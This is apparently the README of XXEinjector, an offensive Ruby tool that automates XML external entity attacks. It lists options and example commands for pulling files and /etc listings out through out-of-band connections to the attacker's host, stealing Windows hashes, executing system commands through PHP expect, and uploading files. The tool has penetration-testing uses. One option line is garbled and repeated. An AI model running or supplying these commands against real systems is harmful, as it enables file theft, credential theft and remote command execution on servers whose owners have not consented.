Tool For Automatic Exploitation Of XXE Vulnerability - XXEinjector

Einjector automates retrieving files using direct and out of band methods. Directory listing only works in Java applications. Bruteforcing method needs to be used for other applications.


Options 

--host Mandatory - our IP address for reverse connections. (--host=192.168.0.2)
--file Mandatory - file containing valid HTTP request with xml. You can also mark with "XXEINJECT" a point where DTD should be injected. (--file=/tmp/req.txt)
--path Mandatory if enumerating directories - Path to enumerate. (--path=/etc)
--brute Mandatory if bruteforcing files - File with paths to bruteforce. (--brute=/tmp/brute.txt)
--logger Log results only. Do not send requests. HTTP logger looks for "p" parameter with results.

--rhost Remote host's IP address or domain name. Use this argument only for requests without Host header. (--rhost=192.168.0.3)
--rport Remote host's TCP port. Use this argument only for requests without Host header and for non-default values. (--rport=8080)

--oob Out of Band exploitation method. FTP is default. FTP can be used in any application. HTTP can be used for bruteforcing and enumeration through directory listing in Java < 1.7 applications. Gopher can only be used in Java < 1.7 applications. (--oob=http/ftp/gopher)
--direct Use direct exploitation instead of out of band. Unique mark should be specified as a value for this argument. This mark specifies where results of XXE start and end. Specify --xml to see how XML in request file should look like. (--direct=UNIQUEMARK)
--2ndfile File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)
--phpfilter Use PHP filter to base64 encode target file before sending.
--netdoc Use netdoc protocol instead of file (Java).
--enumports Enumerating unfiltered ports for reverse connection. Specify value "all" to enumerate all TCP ports. (--enumports=21,22,80,443,445)

--hashes Steals Windows hash of the user that runs an application.
--expect Uses PHP expect extension to execute arbitrary system command. Best works with HTTP and PHP filter. (--expect=ls)
--upload Uploads specified file using Java jar schema into temp file. (--upload=/tmp/upload.txt)
--xslt Tests for XSLT injection.

--ssl Use SSL.
--proxy Proxy to use. (--proxy=127.0.0.1:8080)
--httpport Set custom HTTP port. (--httpport=80)
--ftpport Set custom FTP port. (--ftpport=21)
--gopherport Set custom gopher port. (--gopherport=70)
--jarport Set custom port for uploading files using jar. (--jarport=1337)
--xsltport Set custom port for XSLT injection test. (--xsltport=1337)

--test This mode shows request with injected payload and quits. Used to verify correctness of request without sending it to a server.
--urlencode URL encode injected DTD. This is default for URI.
--nodtd If you want to put DTD in request by yourself. Specify "--dtd" to show how DTD should look like.
--output Output file for bruteforcing and logger mode. By default it logs to brute.log in current directory. (--output=/tmp/out.txt)
--timeout Timeout for receiving file/directory content. (--timeout=20)
--contimeout Timeout for closing connection with server. This is used to prevent DoS condition. (--contimeout=20)
--fast Skip asking what to enumerate. Prone to false-positives.
--verbose Show verbose messages.r closing connection with server. This is used to prevent DoS condition. (--contimeout=20)
--fast Skip asking what to enumerate. Prone to false-positives.
--verbose Show verbose messages.

Example usage

Enumerating /etc directory in HTTPS application: 

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl

Enumerating /etc directory using gopher for OOB method: 

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

Second order exploitation: 

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt 

Bruteforcing files using HTTP out of band method and netdoc protocol: 

ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc

Enumerating using direct exploitation: 

ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

Enumerating unfiltered ports: 

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

Stealing Windows hashes: 

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes

Uploading files using Java jar: 

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf

Executing system commands using PHP expect: 

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls

Testing for XSLT injection: 

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt

Log requests only: 

ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
